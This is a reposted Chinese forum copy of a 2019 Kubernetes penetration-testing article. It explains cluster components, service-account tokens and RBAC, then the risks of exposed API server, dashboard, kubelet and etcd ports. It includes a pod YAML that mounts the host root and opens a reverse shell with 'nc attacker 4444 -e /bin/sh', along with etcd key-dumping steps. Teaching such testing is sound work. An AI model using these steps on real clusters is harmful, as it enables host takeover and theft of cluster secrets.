搜索

[13837] 2019-03-07_kubernetes集群渗透测试

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2019-03-07_kubernetes集群渗透测试 k u b e r n e t e s 集 群 渗 透 测 试 原 创   网 藤 风 险 感 知   F r e e B u f   2 0 1 9 - 0 3 - 0 7 前 言 前 言 K u b e r n e t e s 是 一 个 开 源 的 ， 用 于 编 排 云 平 台 中 多 个 主 机 上 的 容 器 化 的 应 用 ， 目 标 是 让 部 署 容 器 化 的 应 用 能 简 单 并 且 高 效 的 使 用 ,   提 供 了 应 用 部 署 ， 规 划 ， 更 新 ， 维 护 的 一 种 机 制 。 其 核 心 的 特 点 就 是 能 够 自 主 的 管 理 容 器 来 保 证 云 平 台 中 的 容 器 按 照 用 户 的 期 望 状 态 运 行 着 ， 管 理 员 可 以 加 载 一 个 微 型 服 务 ， 让 规 划 器 来 找 到 合 适 的 位 置 ， 同 时 ， K u b e r n e t e s 在 系 统 提 升 工 具 以 及 人 性 化 方 面 ， 让 用 户 能 够 方 便 的 部 署 自 己 的 应 用 。 有 着 以 上 优 点 ， 让 k u b e r n e t e s 越 来 越 流 行 。 同 时 ， 安 全 问 题 逐 渐 明 显 起 来 。 一 、 核 心 组 件 与 资 源 对 象 一 、 核 心 组 件 与 资 源 对 象 常 见 的 K u b e r n e t e s 集 群 结 构 图 如 下 ， M a s t e r 节 点 是 集 群 的 控 制 节 点 ， N o d e 节 点 则 是 集 群 的 工 作 节 点 。 1 .   M a s t e r 节 点 节 点 M a s t e r 节 点 是 K u b e r n e t e s 集 群 的 控 制 节 点 ， 每 个 K u b e r n e t e s 集 群 里 至 少 有 一 个 M a s t e r 节 点 ， 它 负 责 整 个 集 群 的 决 策 （ 如 调 度 ） ， 发 现 和 响 应 集 群 的 事 件 。 M a s t e r 节 点 可 以 运 行 在 集 群 中 的 任 意 一 个 节 点 上 ， 但 是 最 好 将 M a s t e r 节 点 作 为 一 个 独 立 节 点 ， 不 在 该 节 点 上 创 建 容 器 ， 因 为 如 果 该 节 点 出 现 问 题 导 致 宕 机 或 不 可 用 ， 整 个 集 群 的 管 理 就 会 失 效 。 在 M a s t e r 节 点 上 ， 通 常 会 运 行 以 下 服 务 ： k u b e - a p i s e r v e r :   部 署 在 M a s t e r 上 暴 露 K u b e r n e t e s   A P I ， 是 K u b e r n e t e s 的 控 制 面 。 e t c d :   一 致 且 高 度 可 用 的 K e y - V a l u e 存 储 ， 用 作 K u b e r n e t e s 的 所 有 群 集 数 据 的 后 备 存 储 。 k u b e - s c h e d u l e r :   调 度 器 ， 运 行 在 M a s t e r 上 ， 用 于 监 控 节 点 中 的 容 器 运 行 情 况 ， 并 挑 选 节 点 来 创 建 新 的 容 器 。 调 度 决 策 所 考 虑 的 因 素 包 括 资 源 需 求 ， 硬 件 / 软 件 / 策 略 约 束 ， 亲 和 和 排 斥 性 规 范 ， 数 据 位 置 ， 工 作 负 载 间 干 扰 和 最 后 期 限 。 k u b e - c o n t r o l l e r - m a n a g e r 控 制 和 管 理 器 ， 运 行 在 M a s t e r 上 ， 每 个 控 制 器 都 是 独 立 的 进 程 ， 但 为 了 降 低 复 杂 性 ， 这 些 控 制 器 都 被 编 译 成 单 一 的 二 进 制 文 件 ， 并 以 单 独 的 进 程 运 行 。 2 .   N o d e 节 点 节 点
N o d e   节 点 是   K u b e r n e t e s   集 群 的 工 作 节 点 ， 每 个 集 群 中 至 少 需 要 一 台 N o d e 节 点 ， 它 负 责 真 正 的 运 行 P o d ， 当 某 个 N o d e 节 点 出 现 问 题 而 导 致 宕 机 时 ， M a s t e r 会 自 动 将 该 节 点 上 的 P o d 调 度 到 其 他 节 点 。 N o d e 节 点 可 以 运 行 在 物 理 机 上 ， 也 可 以 运 行 在 虚 拟 机 中 。 在 N o d e 节 点 上 ， 通 常 会 运 行 以 下 服 务 ： k u b e l e t :   运 行 在 每 一 个   N o d e   节 点 上 的 客 户 端 ， 负 责 P o d 对 应 的 容 器 创 建 ， 启 动 和 停 止 等 任 务 ， 同 时 和 M a s t e r 节 点 进 行 通 信 ， 实 现 集 群 管 理 的 基 本 功 能 。 k u b e - p r o x y :   负 责   K u b e r n e t e s   S e r v i c e s 的 通 信 和 负 载 均 衡 机 制 。 D o c k e r   E n g i n e :   负 责 节 点 上 的 容 器 的 创 建 和 管 理 。 N o d e 节 点 可 以 在 集 群 运 行 期 间 动 态 增 加 ， 只 要 整 个 节 点 已 经 正 确 安 装 配 置 和 启 动 了 上 面 的 进 程 。 在 默 认 情 况 下 ， k u b e l e t 会 向 M a s t e r 自 动 注 册 。 一 旦 N o d e 被 接 入 到 集 群 管 理 中 ， k u b e l e t 会 定 时 向 M a s t e r 节 点 汇 报 自 身 的 情 况 （ 操 作 系 统 ， D o c k e r 版 本 ， C P U 内 存 使 用 情 况 等 ） ， 这 样 M a s t e r 便 可 以 在 知 道 每 个 节 点 的 详 细 情 况 的 同 时 ， 还 能 知 道 该 节 点 是 否 是 正 常 运 行 。 当 N o d e 节 点 心 跳 超 时 时 ， M a s t e r 节 点 会 自 动 判 断 该 节 点 处 于 不 可 用 状 态 ， 并 会 对 该 N o d e 节 点 上 的 P o d 进 行 迁 移 。 3 .   资 源 对 象 资 源 对 象 p o d P o d 是 K u b e r n e t e s 最 重 要 也 是 最 基 本 的 概 念 ， 一 个 P o d 是 一 组 共 享 网 络 和 存 储 （ 可 以 是 一 个 或 多 个 ） 的 容 器 。 P o d 中 的 容 器 都 是 统 一 进 行 调 度 ， 并 且 运 行 在 共 享 上 下 文 中 。 一 个 P o d 被 定 义 为 一 个 逻 辑 的 h o s t ， 它 包 括 一 个 或 多 个 相 对 耦 合 的 容 器 。 P o d 的 共 享 上 下 文 ， 实 际 上 是 一 组 由 n a m e s p a c e 、 c g r o u p s ,   其 他 资 源 的 隔 离 的 集 合 ， 意 味 着 P o d 中 的 资 源 已 经 是 被 隔 离 过 了 的 ， 而 在 P o d 中 的 每 一 个 独 立 的 c o n t a i n e r 又 对 P o d 中 的 资 源 进 行 了 二 次 隔 离 。
S e r v i c e K u b e r n e t e s   S e r v i c e   定 义 了 这 样 一 种 抽 象 ： 一 个   P o d   的 逻 辑 分 组 ， 一 种 可 以 访 问 它 们 的 策 略 ， 通 常 称 为 微 服 务 。   这 一 组 P o d 能 够 被 S e r v i c e 访 问 到 ， 通 常 是 通 过 L a b e l   S e l e c t o r 实 现 的 。 举 个 例 子 ， 考 虑 一 个 图 片 处 理   b a c k e n d ， 它 运 行 了 3 个 副 本 ， 这 些 副 本 是 可 互 换 的 ， f r o n t e n d   不 需 要 关 心 它 们 调 用 了 哪 个   b a c k e n d   副 本 。   然 而 组 成 这 一 组   b a c k e n d   程 序 的   P o d   实 际 上 可 能 会 发 生 变 化 ， f r o n t e n d   客 户 端 不 应 该 也 没 必 要 知 道 ， 而 且 也 不 需 要 跟 踪 这 一 组   b a c k e n d   的 状 态 。   S e r v i c e   定 义 的 抽 象 能 够 解 耦 这 种 关 联 。 对   K u b e r n e t e s   集 群 中 的 应 用 ， K u b e r n e t e s   提 供 了 简 单 的   E n d p o i n t s   A P I ， 只 要   S e r v i c e   中 的 一 组   P o d   发 生 变 更 ， 应 用 程 序 就 会 被 更 新 。   对 非   K u b e r n e t e s   集 群 中 的 应 用 ， K u b e r n e t e s   提 供 了 基 于   V I P   的 网 桥 的 方 式 访 问   S e r v i c e ， 再 由 S e r v i c e   重 定 向 到   b a c k e n d   P o d 。 N a m e s p a c e N a m e s p a c e 是 对 一 组 资 源 和 对 象 的 抽 象 集 合 ， 比 如 可 以 用 来 将 系 统 内 部 的 对 象 划 分 为 不 同 的 项 目 组 或 用 户 组 。 常 见 的 p o d s ,   s e r v i c e s ,   r e p l i c a t i o n   c o n t r o l l e r s 和 d e p l o y m e n t s 等 都 是 属 于 某 一 个 n a m e s p a c e 的 （ 默 认 是 d e f a u l t ） ， 而 n o d e , p e r s i s t e n t V o l u m e s 等 则 不 属 于 任 何 n a m e s p a c e 。 N a m e s p a c e 常 用 来 隔 离 不 同 的 用 户 ， 比 如 K u b e r n e t e s 自 带 的 服 务 一 般 运 行 在 k u b e - s y s t e m   n a m e s p a c e 中 。 D e p l o y m e n t D e p l o y m e n t 是 R e p l i c a t i o n C o n t r o l l e r 的 升 级 版 本 ， D e p l o y m e n t 控 制 器 会 根 据 在 D e p l o y m e n t 对 象 中 描 述 的 期 望 状 态 对 P o d 进 行 调 整 。 通 过 D e p l o y m e n t 控 制 器 ， 我 们 可 以 随 时 了 解 P o d 部 署 的 进 度 ， 因 为 实 际 上 P o d 的 创 建 、 调 度 、 绑 定 等 操 作 都 是 需 要 时 间 的 。 D e p l o y m e n t 典 型 应 用 场 景 ： 创 建 D e p l o y m e n t 对 象 来 生 产 对 应 的 R e p l i c a S e t 来 完 成 部 署 通 过 更 新 D e p l o y m e n t 的 P o d T e m p l a t e S p e c 更 新 P o d 的 最 新 状 态 。 更 新 时 ， 新 的 R e l i c a S e t 会 被 创 建 ， D e p l o y m e n t 控 制 器 会 将 老 的 R e p l i c a S e t 中 的 P o d 以 一 定 的 速 率 迁 移 到 新 的 R e p l i c a S e t 中 。 回 滚 到 早 期 版 本 扩 展 D e p l o y m e n t 以 应 对 高 负 载 暂 停 D e p l o y m e n t 以 便 一 次 性 修 改 多 个 P o d T e m p l a t e S p e c 的 配 置 项 ， 之 后 再 恢 复 D e p l o y m e n t 进 行 新 的 发 布 查 看 D e p l o y m e n t 状 态 来 作 为 发 布 是 否 成 功 的 标 准 清 理 不 需 要 的 R e p l i c a S e t 4 .   运 行 流 程 运 行 流 程 创 建 p o d 的 基 本 流 程 如 下 ：
1 .   用 户 提 交 创 建 P o d 的 请 求 ， 可 以 通 过 A P I   S e r v e r 的 R E S T   A P I   ， 也 可 用 K u b e c t l 命 令 行 工 具 ， 支 持 J s o n 和 Y a m l 两 种 格 式 ； 2 .   A P I   S e r v e r 处 理 用 户 请 求 ， 存 储 P o d 数 据 到 e t c d ； 3 .   S c h e d u l e 通 过 和 A P I   S e r v e r 的 w a t c h 机 制 ， 查 看 到 新 的 P o d ， 尝 试 为 P o d 绑 定 N o d e ； 4 .   过 滤 主 机 ： 调 度 器 用 一 组 规 则 过 滤 掉 不 符 合 要 求 的 主 机 ， 比 如 P o d 指 定 了 所 需 要 的 资 源 ， 那 么 就 要 过 滤 掉 资 源 不 够 的 主 机 ； 5 .   主 机 打 分 ： 对 第 一 步 筛 选 出 的 符 合 要 求 的 主 机 进 行 打 分 ， 在 主 机 打 分 阶 段 ， 调 度 器 会 考 虑 一 些 整 体 优 化 策 略 ， 比 如 把 一 个 R e p l i c a t i o n   C o n t r o l l e r 的 副 本 分 布 到 不 同 的 主 机 上 ， 使 用 最 低 负 载 的 主 机 等 ； 6 .   选 择 主 机 ： 选 择 打 分 最 高 的 主 机 ， 进 行 b i n d i n g 操 作 ， 结 果 存 储 到 e t c d 中 ； 7 .   K u b e l e t 根 据 调 度 结 果 执 行 P o d 创 建 操 作 ： 绑 定 成 功 后 ， 会 启 动 c o n t a i n e r ， d o c k e r   r u n ， s c h e d u l e r 会 调 用 A P I   S e r v e r 的 A P I 在 e t c d 中 创 建 一 个 b o u n d   p o d 对 象 ， 描 述 在 一 个 工 作 节 点 上 绑 定 运 行 的 所 有 p o d 信 息 。 运 行 在 每 个 工 作 节 点 上 的 K u b e l e t 也 会 定 期 与 e t c d 同 步 b o u n d   p o d 信 息 ， 一 旦 发 现 应 该 在 该 工 作 节 点 上 运 行 的 b o u n d   p o d 对 象 没 有 更 新 ， 则 调 用 D o c k e r   A P I 创 建 并 启 动 p o d 内 的 容 器 。 二 、 认 证 授 权 机 制 二 、 认 证 授 权 机 制 1 .   S e r v i c e   A c c o u n t   认 证 认 证 针 对 在 p o d 内 部 访 问   a p i s e r v e r ， 获 取 集 群 的 信 息 和 改 动 ， k u b e r n e t e s 提 供 了 特 殊 的 认 证 方 式 ： S e r v i c e   A c c o u n t 。 S e r v i c e   A c c o u n t 是 面 向 n a m e s p a c e 的 ， n a m e s p a c e 创 建 的 时 候 ， k u b e r n e t e s 会 自 动 在 这 个 n a m e s p a c e 下 面 创 建 一 个 默 认 的 S e r v i c e   A c c o u n t ； 并 且 这 个 S e r v i c e   A c c o u n t 只 能 访 问 该 n a m e s p a c e 的 资 源 。 S e r v i c e   A c c o u n t   和   p o d 、 s e r v i c e 、 d e p l o y m e n t 一 样 是 k u b e r n e t e s 集 群 中 的 一 种 资 源 ， 用 户 也 可 以 创 建 自 己 的   s e r v i c e   a c c o u n t 。 S e r v i c e A c c o u n t   主 要 包 含 了 三 个 内 容 ： n a m e s p a c e 、 T o k e n   和   C A 。 n a m e s p a c e   指 定 了   p o d   所 在 的   n a m e s p a c e ， C A   用 于 验 证   a p i s e r v e r   的 证 书 ， t o k e n   用 作 身 份 验 证 。 它 们 都 通 过   m o u n t   的 方 式 保 存 在   p o d   的 文 件 系 统 中 ， 其 中   t o k e n   保 存 的 路 径 是   / v a r / r u n / s e c r e t s / k u b e r n e t e s . i o / s e r v i c e a c c o u n t / t o k e n   ， 是   a p i s e r v e r   通 过 私 钥 签 发   t o k e n   的   b a s e 6 4   编 码 后 的 结 果 ； C A   保 存 的 路 径 是   / v a r / r u n / s e c r e t s / k u b e r n e t e s . i o / s e r v i c e a c c o u n t / c a . c r t   ， n a m e s p a c e   保 存 的 路 径 是 / v a r / r u n / s e c r e t s / k u b e r n e t e s . i o / s e r v i c e a c c o u n t / n a m e s p a c e   ， 也 是 用   b a s e 6 4   编 码 。 如 果   t o k e n   能 够 通 过 认 证 ， 那 么 请 求 的 用 户 名 将 被 设 置 为 s y s t e m : s e r v i c e a c c o u n t : ( N A M E S P A C E ) : ( S E R V I C E A C C O U N T )   ， 而 请 求 的 组 名 有 两 个 ：   s y s t e m : s e r v i c e a c c o u n t s   和   s y s t e m : s e r v i c e a c c o u n t s :
( N A M E S P A C E ) 。 2 .   R B A C 授 权 授 权 在 K u b e r n e t e s 中 ， 授 权 有 A B A C （ 基 于 属 性 的 访 问 控 制 ） 、 R B A C （ 基 于 角 色 的 访 问 控 制 ） 、 W e b h o o k 、 N o d e 、 A l w a y s D e n y （ 一 直 拒 绝 ） 和 A l w a y s A l l o w （ 一 直 允 许 ） 这 6 种 模 式 。 从 1 . 6 版 本 起 ， K u b e r n e t e s   默 认 启 用 R B A C 访 问 控 制 策 略 。 从 1 . 8 开 始 ， R B A C 已 作 为 稳 定 的 功 能 。 通 过 设 置 — a u t h o r i z a t i o n - m o d e = R B A C 。 R B A C   A P I 中 ， 通 过 如 下 的 步 骤 进 行 授 权 ： 1 ） 定 义 角 色 ： 在 定 义 角 色 时 会 指 定 此 角 色 对 于 资 源 的 访 问 控 制 的 规 则 ； 2 ） 绑 定 角 色 ： 将 主 体 与 角 色 进 行 绑 定 ， 对 用 户 进 行 访 问 授 权 。 在 R B A C   A P I 中 ， 角 色 包 含 代 表 权 限 集 合 的 规 则 。 在 这 里 ， 权 限 只 有 被 授 予 ， 而 没 有 被 拒 绝 的 设 置 。 在 K u b e r n e t e s 中 有 两 类 角 色 ， 即 普 通 角 色 和 集 群 角 色 。 可 以 通 过 R o l e 定 义 在 一 个 命 名 空 间 中 的 角 色 ， 或 者 可 以 使 用 C l u s t e r R o l e 定 义 集 群 范 围 的 角 色 。 一 个 角 色 只 能 被 用 来 授 予 访 问 单 一 命 令 空 间 中 的 资 源 。 3 .   K e y s t o n e   P a s s w o r d   认 证 认 证 K e y s t o n e   是   o p e n s t a c k   提 供 的 认 证 和 授 权 组 件 ， 这 个 方 法 对 于 已 经 使 用   o p e n s t a c k   来 搭 建   I a a s   平 台 的 公 司 比 较 适 用 ， 直 接 使 用   k e y s t o n e   可 以 保 证   I a a s   和   C a a s   平 台 保 持 一 致 的 用 户 体 系 。 需 要 A P I   S e r v e r 在 启 动 时 指 定 — e x p e r i m e n t a l - k e y s t o n e - u r l = ， 而 h t t p s 时 还 需 要 设 置 — e x p e r i m e n t a l - k e y s t o n e - c a - f i l e = S O M E F I L E 。 三 、 安 全 风 险 三 、 安 全 风 险 1 .   k u b e - a p i s e r v e r 部 署 在 M a s t e r 上 暴 露 K u b e r n e t e s   A P I ， 是 K u b e r n e t e s 的 控 制 面 。 K u b e r n e t e s   A P I 服 务 器 为 A P I 对 象 验 证 和 配 置 数 据 ， 这 些 对 象 包 含 P o d ， S e r v i c e ， R e p l i c a t i o n C o n t r o l l e r 等 等 。 A P I   S e r v e r 提 供 R E S T 操 作 以 及 前 端 到 集 群 的 共 享 状 态 ， 所 有 其 它 组 件 可 以 通 过 这 些 共 享 状 态 交 互 。 默 认 情 况 ， K u b e r n e t e s   A P I   S e r v e r 提 供 H T T P 的 两 个 端 口 ： 1 ） 本 地 主 机 端 口
H T T P 服 务 默 认 端 口 8 0 8 0 ， 修 改 标 识 – i n s e c u r e - p o r t 默 认 I P 是 本 地 主 机 ， 修 改 标 识 — i n s e c u r e - b i n d - a d d r e s s 在 H T T P 中 没 有 认 证 和 授 权 检 查 主 机 访 问 受 保 护 2 ） S e c u r e   P o r t 默 认 端 口 6 4 4 3 ， 修 改 标 识 — s e c u r e - p o r t 默 认 I P 是 首 个 非 本 地 主 机 的 网 络 接 口 ， 修 改 标 识 — b i n d - a d d r e s s H T T P S 服 务 。 设 置 证 书 和 秘 钥 的 标 识 ， – t l s - c e r t - f i l e ， – t l s - p r i v a t e - k e y - f i l e 认 证 方 式 ， 令 牌 文 件 或 者 客 户 端 证 书 使 用 基 于 策 略 的 授 权 方 式 访 问 R e s t   A P I , 会 返 回 可 用 的 A P I 列 表 ， 如 下 所 示 ： 如 果 K u b e r n e t e s   A P I   S e r v e r 配 置 了 D a s h b o a r d , 通 过 路 径 / u i 即 可 访 问
该 操 作 界 面 可 以 创 建 、 修 改 、 删 除 容 器 ， 查 看 日 志 等 。 我 们 可 以 编 写 y a m l 文 件 ， 构 造 p o d 来 获 取 命 令 执 行 。 如 下 提 供 了 三 种 部 署 p o d 的 方 式 输 入 文 本 创 建 一 个 p o d ， 将 节 点 的 根 目 录 挂 载 到 容 器 的 / m n t 目 录 。 获 取 到 宿 主 机 权 限
创 建 p o d 过 程 中 ， 同 样 可 命 令 执 行 反 弹 s h e l l 进 入 容 器 组 ， 打 开 命 令 执 行 窗 口 a p i V e r s i o n :   v 1 k i n d :   P o d m e t a d a t a :     n a m e :   t e s t s p e c :     c o n t a i n e r s :     -   n a m e :   b u s y b o x         i m a g e :   b u s y b o x : 1 . 2 9 . 2         c o m m a n d :   [ " / b i n / s h " ]         a r g s :   [ " - c " ,   " n c   a t t a c k e r   4 4 4 4   - e   / b i n / s h " ]         v o l u m e M o u n t s :         -   n a m e :   h o s t             m o u n t P a t h :   / h o s t     v o l u m e s :     -   n a m e :   h o s t         h o s t P a t h :             p a t h :   /             t y p e :   D i r e c t o r y
K u b e r n e t e s 官 方 提 供 了 一 个 命 令 行 工 具 k u b e c t l 。 使 用 k u b e c t l 同 样 可 以 获 取 容 器 的 s h e l l ， 完 成 命 令 执 行 。 并 且 可 进 入 指 定 的 容 器 执 行 命 令 如 果 在 k u b e l e t 进 程 启 动 时 加 — e n a b l e - d e b u g g i n g - h a n d l e s = t r u e 参 数 ， 那 么 k u b e r n e t e s   P r o x y   A P I 还 会 增 加 以 下 接 口 ： / a p i / v 1 / p r o x y / n o d e s / { n a m e } / r u n   # 在 节 点 上 运 行 某 个 容 器 / a p i / v 1 / p r o x y / n o d e s / { n a m e } / e x e c   # 在 节 点 上 的 某 个 容 器 中 运 行 某 条 命 令 / a p i / v 1 / p r o x y / n o d e s / { n a m e } / a t t a c h   # 在 节 点 上 a t t a c h 某 个 容 器 / a p i / v 1 / p r o x y / n o d e s / { n a m e } / p o r t F o r w a r d   # 实 现 节 点 上 的 P o d 端 口 转 发 / a p i / v 1 / p r o x y / n o d e s / { n a m e } / l o g s   # 列 出 节 点 的 各 类 日 志 信 息 / a p i / v 1 / p r o x y / n o d e s / { n a m e } / m e t r i c s   # 列 出 和 该 节 点 相 关 的 M e t r i c s 信 息 / a p i / v 1 / p r o x y / n o d e s / { n a m e } / r u n n i n g p o d s   # 列 出 节 点 内 运 行 中 的 P o d 信 息 / a p i / v 1 / p r o x y / n o d e s / { n a m e } / d e b u g / p p r o f   # 列 出 节 点 内 当 前 w e b 服 务 的 状 态 ， 包 括 C P U 和 内 存 的 使 用 情 况 除 此 之 外 ， 通 过 访 问 p o d , 访 问 到 某 个 服 务 接 口 ： / a p i / v 1 / p r o x y / n a m e s p a c e s / { n a m e s p a c e } / p o d s / { n a m e } / { p a t h : * } 2 .   e t c d 通 常 e t c d 数 据 库 会 被 安 装 到 m a s t e r 节 点 上 ， r e s t   a p i 可 获 取 集 群 内 t o k e n 、 证 书 、 账 户 密 码 等 敏 感 信 息 ， 默 认 端 口 为 2 3 7 9 。 访 问 路 径 / v 2 / k e y s / ? r e c u r s i v e = t r u e ， 以 J S O N 格 式 返 回 存 储 在 服 务 器 上 的 所 有 密 钥 。 部 分 结 果 如 下 ：
安 装 e t c d c t l ， 可 以 使 用 类 似 的 方 式 查 询 A P I 若 存 在 路 径 / r e g i s t r y / s e c r e t s / d e f a u l t ， 其 中 可 能 包 含 对 集 群 提 升 权 限 的 默 认 服 务 令 牌 。 3 .   K u b e l e t k u b e r n e t e s   是 一 个 分 布 式 的 集 群 管 理 系 统 ， 在 每 个 节 点 （ n o d e ） 上 都 要 运 行 一 个   w o r k e r   对 容 器 进 行 生 命 周 期 的 管 理 ， 这 个   w o r k e r   程 序 就 是   k u b e l e t 。 k u b e l e t   的 主 要 功 能 就 是 定 时 从 某 个 地 方 获 取 节 点 上   p o d / c o n t a i n e r   的 期 望 状 态 （ 运 行 什 么 容 器 、 运 行 的 副 本 数 量 、 网 络 或 者 存 储 如 何 配 置 等 等 ） ， 并 调 用 对 应 的 容 器 平 台 接 口 达 到 这 个 状 态 。 集 群 状 态 下 ， k u b e l e t   会 从   m a s t e r   上 读 取 信 息 ， 但 其 实   k u b e l e t   还 可 以 从 其 他 地 方 获 取 节 点 的   p o d   信 息 。 目 前   k u b e l e t 支 持 三 种 数 据 源 ： 1 .   本 地 文 件 2 .   通 过   u r l   从 网 络 上 某 个 地 址 来 获 取 信 息 3 .   A P I   S e r v e r ： 从   k u b e r n e t e s   m a s t e r   节 点 获 取 信 息 1 0 2 5 0 端 口 是 k u b e l e t   A P I 的 H T T P S 端 口 ， 通 过 路 径 / p o d s 获 取 环 境 变 量 、 运 行 的 容 器 信 息 、 命 名 空 间 等 信 息 。 如 下 所 示 ： e t c d c t l   - - e n d p o i n t = h t t p : / / [ e t c d _ s e r v e r _ i p ] : 2 3 7 9   l s
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理